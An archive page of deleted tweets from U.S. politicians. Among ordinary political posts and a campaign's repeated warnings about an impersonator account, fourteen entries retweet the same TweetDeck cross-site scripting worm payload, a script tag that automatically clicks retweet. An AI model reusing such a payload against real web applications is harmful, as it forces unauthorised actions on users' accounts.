Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

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U.S. Rep. Mark Pocan (D) @repmarkpocan

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Mark Udall (D) @MarkUdall

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Gus Bilirakis (R) @RepGusBilirakis

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Mark Udall (D) @MarkUdall

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Governor Jay Inslee (D) @GovInslee

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Brian Higgins (D) @RepBrianHiggins

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

John Dingell (D) @john_dingell

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

McCaskill Office (D) @McCaskillOffice

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Charles Boustany (R) @RepBoustany

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Mark Udall (D) @MarkUdall

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Dan Sullivan (R) @DanSullivan2014

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Saxby Chambliss (R) @SaxbyChambliss

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Tom Latham (R) @TomLatham

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Brad Wenstrup (R) @RepBradWenstrup

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Ron George (R) @RonGeorge2014

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Yet govt & state budget surges! MT @baltimoresun: No economic growth in Maryland last year. http://t.co/mSjXcH8hTG #mdpolitics #tcot

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Alejandro (D) @agarciapadilla

RT @SenadoPR: "Aquí está el compromiso tanto de la Cámara y el Senado como del Gobernador para hacer a Puerto Rico más competitivo" @eduardobhatia #PC545

Todd Young (R) @ToddYoungIN

Hoosier families are effected by negative impacts of job loss, see how Todd Young is working to create jobs in IN. http://t.co/wwEqln9jpN

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GeorgeDemos4Congress (R) @Demos4Congress

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@PolitiBunny @LeahR77 @Jacquie0415 Please RT. We have twitter impersonator @DEMOS4C0NGRESS of https://t.co/ag6fL5L3XQ PLEASE BLOCK!!

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GeorgeDemos4Congress (R) @Demos4Congress

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@Support We have a twitter impersonator that was created today. @DEMOS4C0NGRESS of https://t.co/ag6fL5L3XQ. They do not speak for campaign.

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GeorgeDemos4Congress (R) @Demos4Congress

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@PolitiBunny Thank you!

GeorgeDemos4Congress (R) @Demos4Congress

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@Scully64 Thank you!

GeorgeDemos4Congress (R) @Demos4Congress

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@Jacquie0415 @PolitiBunny @LeahR77 Thank you! The fake account started today and only has 53 tweets so far.

GeorgeDemos4Congress (R) @Demos4Congress

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@safety We have twitter impersonator of our campaign at @DEMOS4C0NGRESS and https://t.co/ag6fL5L3XQ.

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GeorgeDemos4Congress (R) @Demos4Congress

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@Scully64 @RebelMouse Thank you!

GeorgeDemos4Congress (R) @Demos4Congress

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PATRIOTS: We have a twitter impersonator that needs to be BLOCKED! Please BLOCK @DEMOS4C0NGRESS of https://t.co/ag6fL5L3XQ

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GeorgeDemos4Congress (R) @Demos4Congress

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CONSERVATIVES: Please BLOCK twitter impersonator of our campaign named @DEMOS4C0NGRESS found at https://t.co/ag6fL5L3XQ

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GeorgeDemos4Congress (R) @Demos4Congress

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Please BLOCK twitter impersonator of our campaign named @DEMOS4C0NGRESS of https://t.co/ag6fL5L3XQ Does not speak for campaign.

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GeorgeDemos4Congress (R) @Demos4Congress

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Please BLOCK twitter impersonator of our campaign named @DEMOS4C0NGRESS of https://t.co/ag6fL5L3XQ. Does not speak for campaign.

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GeorgeDemos4Congress (R) @Demos4Congress

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We have a twitter impersonator that needs to be BLOCKED! Please BLOCK @DEMOS4C0NGRESS of https://t.co/ag6fL5L3XQ

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Ron George (R) @RonGeorge2014

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Check out Ron's new video on the absurdness of more than 80 new tax and fee increases, particularly the "rain tax:" https://t.co/udKSZSImW2

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Steve Cohen (D) @RepCohen

RT @alfranken: The overwhelming burden of student loan debt is holding our economy back. Tell Congress to fix that: http://t.co/YpVUPHTaup #BankOnStudents

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GeorgeDemos4Congress (R) @Demos4Congress

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@TeaPartyOrg Our campaign is being impersonated by a fake twitter account. Please BLOCK @DEMOS4C0NGRESS found at https://t.co/ag6fL5L3XQ.

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GeorgeDemos4Congress (R) @Demos4Congress

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@ChristiChat Our campaign is being impersonated by a fake twitter account. Please BLOCK @DEMOS4C0NGRESS found at https://t.co/ag6fL5L3XQ .

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Phil Berger, Jr. (R) @philbergerjr

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RT @HaymoreGOP: After tonight it's clear...GOP primary voters aren't putting up with amnesty. In #nc06 we need @philbergerjr #tcot http://t.co/CX0FuW20s8

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GeorgeDemos4Congress (R) @Demos4Congress

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Please BLOCK Impersonator Account going by name of @DEMOS4C0NGRESS and found at https://t.co/ag6fL5L3XQ. It does NOT speak for campaign.

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GeorgeDemos4Congress (R) @Demos4Congress

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Thank you to all who blocked the impersonator account. Though it may have been a fan of our campaign, it did not speak for the campaign.

GeorgeDemos4Congress (R) @Demos4Congress

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Our campaign is being impersonated by a fake twitter account. Please BLOCK @DEMOS4C0NGRESS found at https://t.co/ag6fL5L3XQ.

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GeorgeDemos4Congress (R) @Demos4Congress

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Our campaign is being impersonated by a fake twitter account. Please BLOCK @DEMOS4C0NGRESS found at https://t.co/ag6fL5L3XQ.

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GeorgeDemos4Congress (R) @Demos4Congress

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Our campaign is being impersonated by a fake twitter account. Please BLOCK @DEMOS4C0NGRESS found at https://t.co/ag6fL5L3XQ . #TCOT

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GeorgeDemos4Congress (R) @Demos4Congress

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Our campaign is being impersonated by a fake twitter account. Please BLOCK @DEMOS4C0NGRESS found at https://t.co/ag6fL5L3XQ. #TCOT

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GeorgeDemos4Congress (R) @Demos4Congress

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ATTENTION CONSERVATIVES: Please BLOCK Impersonator Account going by name of @DEMOS4C0NGRESS and found at https://t.co/ag6fL5L3XQ.

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GeorgeDemos4Congress (R) @Demos4Congress

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Please BLOCK Impersonator Account going by name of @DEMOS4C0NGRESS and found at https://t.co/ag6fL5L3XQ . Does NOT speak for campaign.

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GeorgeDemos4Congress (R) @Demos4Congress

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Please BLOCK Impersonator Account going by name of @DEMOS4C0NGRESS and found at https://t.co/ag6fL5L3XQ. Does NOT speak for campaign!

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Senator Bob Casey (D) @SenBobCasey

Speaking on the Senate floor about our plan to give students a #farshot. watch live: http://t.co/MAdoXcOI9s

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Bernie Sanders (I) @SenSanders

Sanders Statement on Veterans Legislation http://t.co/HazUT0Mn1Q

Joe Garcia (D) @JoeGarcia

Congrats to Lawrence Academy #ClassOf2014 and to all HS grads in #FL26 district! Good look in your future endeavors!! http://t.co/0vTwZI1pYK

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Pedro Pierluisi (D) @pedropierluisi

Ahora en vivo, vía satélite, por las Noticias Univisión desde DC con los Borinqueneers Rafael Gómez y Rafael Rodríguez.

Vincent C. Gray (D) @mayorvincegray

.@CrossFit As I've said several times publicly, I very much oppose this tax. It does not make sense to disincentivize fitness.

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